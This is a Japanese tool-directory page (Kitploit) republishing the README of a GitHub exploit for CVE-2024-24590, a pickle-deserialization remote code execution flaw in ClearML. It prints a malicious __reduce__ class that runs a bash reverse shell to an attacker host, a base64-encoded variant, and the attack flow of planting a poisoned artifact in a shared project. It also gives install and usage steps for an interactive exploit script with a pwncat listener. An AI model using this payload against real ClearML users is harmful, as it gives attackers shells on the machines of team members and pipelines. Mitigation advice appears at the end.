Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-24590-ClearML-RCE-Exploit — CVE-2024-24590 – ClearMLにおける安全でないpickleアーティファクトのデシリアライズによるRCE (0.17.0–1.14.2) | Kitploit
ツール/GitHubGitHub/rippsec/cve-2024-24590-clearml-rce-exploit
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール学習と教育レッドチーミングリモートアクセスツール

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHubrippsec/cve-2024-24590-clearml-rce-exploit

CVE-2024-24590-ClearML-RCE-Exploit

CVE-2024-24590 – ClearMLにおける安全でないpickleアーティファクトのデシリアライズによるRCE (0.17.0–1.14.2)

リポジトリを見る
624ヶ月前未レビュー

CVE-2024-24590 — ClearML Pickle アーティファクト RCE

概要

フィールド詳細
CVECVE-2024-24590
ソフトウェアClearML
影響を受けるバージョン0.17.0 – 1.14.2
脆弱性タスクアーティファクトの安全でない pickle 逆シリアル化
認証ClearML プロジェクトへの書き込みアクセスが必要
影響アーティファクトを読み込むすべてのマシンでのリモートコード実行
検証環境Ubuntu 22.04, Python 3.9+

説明

ClearML は、実験の追跡、データセットの管理、チームメンバー間でのアーティファクト(モデル、ファイル、オブジェクト)の共有に使用される MLOps プラットフォームです。タスクアーティファクトが Python オブジェクトとしてアップロードされると、ClearML は Python の pickle モジュールを使用してそれをシリアル化します。別のユーザーがそのアーティファクトをダウンロードして読み込むと、ClearML は — この場合も pickle を使用して — 完全性の検証やクラスの許可リストなしに それを逆シリアル化します。

共有 ClearML プロジェクトへの書き込みアクセスを持つ攻撃者は、オーバーライドされた __reduce__ メソッドを含む悪意のあるアーティファクトをアップロードできます。そのアーティファクトを取得して読み込むチームメンバーや自動化パイプラインは、逆シリアル化中に攻撃者のペイロードを実行し、自機上で RCE に至ります。

技術的詳細

根本原因

Python の pickle モジュールは、信頼できない入力に対して本質的に安全ではありません。クラスの __reduce__ マジックメソッドは、逆シリアル化中にオブジェクトがどのように再構築されるかを制御します — os.system を含む任意の呼び出し可能オブジェクトと引数を返すことができます:

root@kitploit:~
class exploit:
    def __reduce__(self):
        return os.system, ("bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'",)

pickle 化されて後で unpickle されると、Python はオブジェクトの再構築の一部として os.system(cmd) を呼び出します — 呼び出し側がオブジェクトを検査する機会を得る前に。

攻撃の流れ

root@kitploit:~
Attacker (project write access)
    │
    ▼
task = Task.init(project_name="shared-project", task_name="exploit")
task.upload_artifact("model", artifact_object=exploit())
    │
    ▼
ClearML server stores artifact as a pickled binary blob
    │
    ▼
Victim fetches artifact (automated pipeline / manual review)
    task.artifacts["model"].get()
    │
    ▼
pickle.loads(blob) → __reduce__ fires → os.system(reverse_shell_cmd)
    │
    ▼
Reverse shell connects back to attacker

ペイロードのエンコード

リバースシェルコマンドは、シリアル化された文字列内でのシェルのクォート問題を避けるために、埋め込む前に Base64 エンコードされます:

root@kitploit:~
bash_cmd = f'bash -c "bash -i >& /dev/tcp/{ip}/{port} 0>&1"'
b64 = base64.b64encode(bash_cmd.encode()).decode()
cmd = f'echo {b64} | base64 -d | sh'

前提条件

  • ターゲットサーバー上の少なくとも 1 つのプロジェクトに対する書き込みアクセスを持つ ClearML アカウント
  • 被害者がアーティファクトを逆シリアル化する(ClearML SDK を介して取得する)こと

インストール

root@kitploit:~
git clone https://github.com/rippsec/CVE-2024-24590-ClearML-RCE-Exploit.git
cd CVE-2024-24590-ClearML-RCE-Exploit
pip install -r requirements.txt

要件: clearml, pwntools, colorama

使用方法

root@kitploit:~
python3 exploit.py

対話型メニューでは、次の 2 つのステップを実行します:

ステップ 1 — ClearML の初期化 (option 1)

ターゲットの ClearML サーバーの認証情報を設定するために clearml-init を実行します。既存の ~/clearml.conf がある場合は、最初にバックアップします。

ステップ 2 — エクスプロイトの実行 (option 2)

以下の入力を求めます:

  • リスナー IP
  • リスナーポート
  • ターゲットプロジェクト名(大文字小文字を区別 — 書き込みアクセス権を持つプロジェクトである必要があります)

オプションで、アーティファクトをアップロードする前に pwncat リスナーを自動的に起動します。

screenshot

軽減策

  • アーティファクトの逆シリアル化を制限する ClearML ≥ 1.14.3 にアップグレードする
  • プロジェクトのアクセス制御を監査する — 書き込みアクセスを信頼できるユーザーのみに制限する
  • 古いバージョンを使用している場合は、ClearML のアーティファクトストレージを信頼できないコード実行面として扱う

参考リンク

  • NVD エントリ
  • ClearML GitHub
  • Python pickle のセキュリティ警告
ツールをダウンロード